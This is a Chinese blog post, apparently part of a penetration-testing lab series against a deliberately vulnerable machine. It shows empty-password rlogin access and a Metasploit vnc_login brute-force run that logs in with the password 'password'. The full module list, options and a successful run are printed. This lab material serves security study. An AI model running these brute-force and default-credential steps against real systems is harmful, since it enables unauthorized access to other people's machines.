渗透测试靶机实战---系统篇04

朱雀 2023-06-07 10:40 26阅读 0赞

[（续）渗透测试靶机实战---系统篇03][---_03]

--------------------

### 10. [rlogin Passwordless / Unencrypted Cleartext Login][rlogin Passwordless _ Unencrypted Cleartext Login] ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1][]

上面可以看到直接空密码，rlogin直接进入到系统。

--------------------

### 11. ###

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2][]

上面openVas已经爆出了密码为password，利用如下：

![2019101417522570.png][]

![20191014175422121.png][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 3][]

可以利用metasploit爆破如下：

msf5 auxiliary(scanner/rservices/rsh_login) > search vnc
    
    Matching Modules
    ================
    
       #   Name                                                 Disclosure Date  Rank       Check  Description
       -   ----                                                 ---------------  ----       -----  -----------
       0   auxiliary/admin/vnc/realvnc_41_bypass                2006-05-15       normal     No     RealVNC NULL Authentication Mode Bypass
       1   auxiliary/scanner/vnc/ard_root_pw                                     normal     Yes    Apple Remote Desktop Root Vulnerability
       2   auxiliary/scanner/vnc/vnc_login                                       normal     Yes    VNC Authentication Scanner
       3   auxiliary/scanner/vnc/vnc_none_auth                                   normal     Yes    VNC Authentication None Detection
       4   auxiliary/server/capture/vnc                                          normal     No     Authentication Capture: VNC
       5   exploit/multi/misc/legend_bot_exec                   2015-04-27       excellent  Yes    Legend Perl IRC Bot Remote Code Execution
       6   exploit/multi/vnc/vnc_keyboard_exec                  2015-07-10       great      No     VNC Keyboard Remote Code Execution
       7   exploit/windows/vnc/realvnc_client                   2001-01-29       normal     No     RealVNC 3.3.7 Client Buffer Overflow
       8   exploit/windows/vnc/ultravnc_client                  2006-04-04       normal     No     UltraVNC 1.0.1 Client Buffer Overflow
       9   exploit/windows/vnc/ultravnc_viewer_bof              2008-02-06       normal     No     UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
       10  exploit/windows/vnc/winvnc_http_get                  2001-01-29       average    No     WinVNC Web Server GET Overflow
       11  payload/windows/vncinject/bind_hidden_ipknock_tcp                     normal     No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
       12  payload/windows/vncinject/bind_hidden_tcp                             normal     No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
       13  payload/windows/vncinject/bind_ipv6_tcp                               normal     No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
       14  payload/windows/vncinject/bind_ipv6_tcp_uuid                          normal     No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
       15  payload/windows/vncinject/bind_named_pipe                             normal     No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
       16  payload/windows/vncinject/bind_nonx_tcp                               normal     No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
       17  payload/windows/vncinject/bind_tcp                                    normal     No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
       18  payload/windows/vncinject/bind_tcp_rc4                                normal     No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
       19  payload/windows/vncinject/bind_tcp_uuid                               normal     No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
       20  payload/windows/vncinject/find_tag                                    normal     No     VNC Server (Reflective Injection), Find Tag Ordinal Stager
       21  payload/windows/vncinject/reverse_hop_http                            normal     No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
       22  payload/windows/vncinject/reverse_http                                normal     No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
       23  payload/windows/vncinject/reverse_http_proxy_pstore                   normal     No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
       24  payload/windows/vncinject/reverse_ipv6_tcp                            normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
       25  payload/windows/vncinject/reverse_nonx_tcp                            normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
       26  payload/windows/vncinject/reverse_ord_tcp                             normal     No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
       27  payload/windows/vncinject/reverse_tcp                                 normal     No     VNC Server (Reflective Injection), Reverse TCP Stager
       28  payload/windows/vncinject/reverse_tcp_allports                        normal     No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
       29  payload/windows/vncinject/reverse_tcp_dns                             normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
       30  payload/windows/vncinject/reverse_tcp_rc4                             normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
       31  payload/windows/vncinject/reverse_tcp_rc4_dns                         normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
       32  payload/windows/vncinject/reverse_tcp_uuid                            normal     No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
       33  payload/windows/vncinject/reverse_winhttp                             normal     No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
       34  payload/windows/x64/vncinject/bind_ipv6_tcp                           normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
       35  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                      normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
       36  payload/windows/x64/vncinject/bind_named_pipe                         normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
       37  payload/windows/x64/vncinject/bind_tcp                                normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
       38  payload/windows/x64/vncinject/bind_tcp_rc4                            normal     No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
       39  payload/windows/x64/vncinject/bind_tcp_uuid                           normal     No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
       40  payload/windows/x64/vncinject/reverse_http                            normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
       41  payload/windows/x64/vncinject/reverse_https                           normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
       42  payload/windows/x64/vncinject/reverse_tcp                             normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
       43  payload/windows/x64/vncinject/reverse_tcp_rc4                         normal     No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
       44  payload/windows/x64/vncinject/reverse_tcp_uuid                        normal     No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
       45  payload/windows/x64/vncinject/reverse_winhttp                         normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
       46  payload/windows/x64/vncinject/reverse_winhttps                        normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
       47  post/multi/gather/remmina_creds                                       normal     No     UNIX Gather Remmina Credentials
       48  post/osx/gather/enum_chicken_vnc_profile                              normal     No     OS X Gather Chicken of the VNC Profile
       49  post/osx/gather/vnc_password_osx                                      normal     No     OS X Display Apple VNC Password
       50  post/windows/gather/credentials/mremote                               normal     No     Windows Gather mRemote Saved Password Extraction
       51  post/windows/gather/credentials/vnc                                   normal     No     Windows Gather VNC Password Extraction
    
    
    msf5 auxiliary(scanner/rservices/rsh_login) > use auxiliary/scanner/vnc/vnc_login
    msf5 auxiliary(scanner/vnc/vnc_login) > show options
    
    Module options (auxiliary/scanner/vnc/vnc_login):
    
       Name              Current Setting                                                   Required  Description
       ----              ---------------                                                   --------  -----------
       BLANK_PASSWORDS   false                                                             no        Try blank passwords for all users
       BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from 0 to 5
       DB_ALL_CREDS      false                                                             no        Try each user/password couple stored in the current database
       DB_ALL_PASS       false                                                             no        Add all passwords in the current database to the list
       DB_ALL_USERS      false                                                             no        Add all users in the current database to the list
       PASSWORD                                                                            no        The password to test
       PASS_FILE         /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt  no        File containing passwords, one per line
       Proxies                                                                             no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                                                                              yes       The target address range or CIDR identifier
       RPORT             5900                                                              yes       The target port (TCP)
       STOP_ON_SUCCESS   false                                                             yes       Stop guessing when a credential works for a host
       THREADS           1                                                                 yes       The number of concurrent threads
       USERNAME          <BLANK>                                                           no        A specific username to authenticate as
       USERPASS_FILE                                                                       no        File containing users and passwords separated by space, one pair per line
       USER_AS_PASS      false                                                             no        Try the username as the password for all users
       USER_FILE                                                                           no        File containing usernames, one per line
       VERBOSE           true                                                              yes       Whether to print output for all attempts
    
    msf5 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.10.149
    RHOSTS => 192.168.10.149
    msf5 auxiliary(scanner/vnc/vnc_login) > run
    
    [*] 192.168.10.149:5900   - 192.168.10.149:5900 - Starting VNC login sweep
    [+] 192.168.10.149:5900   - 192.168.10.149:5900 - Login Successful: :password
    [*] 192.168.10.149:5900   - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

--------------------

[（未完待续）渗透测试靶机实战---系统篇05][---_05]

[---_03]: https://blog.csdn.net/m0_37268841/article/details/102524325
[rlogin Passwordless _ Unencrypted Cleartext Login]: https://127.0.0.1:9392/omp?cmd=get_result&result_id=4e8d992a-9178-4521-8743-9f256832ce98&apply_overrides=&min_qod=&task_id=&name=&report_id=a09dbc6c-39e4-49cd-baa5-8fc813cb6bf6&filter=&filt_id=&overrides=&autofp=&report_result_id=4e8d992a-9178-4521-8743-9f256832ce98&token=e80c92d3-c6d5-4b4e-a658-d128a8b89024
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70]: /images/20230601/053534f8fe374bafaa102a9da97c7c81.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1]: /images/20230601/b0bbfaf6d4364e5094082f53b706c936.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2]: /images/20230601/514a91c076704dbeae74944ea85bfc19.png
[2019101417522570.png]: /images/20230601/53fd9609760b421e9f5a31f551a5941c.png
[20191014175422121.png]: /images/20230601/c4f42ee9d5a043d09b4d0e75748f569b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 3]: /images/20230601/6d380971e08b424fb8ada5ab519fcc69.png
[---_05]: https://blog.csdn.net/m0_37268841/article/details/102563224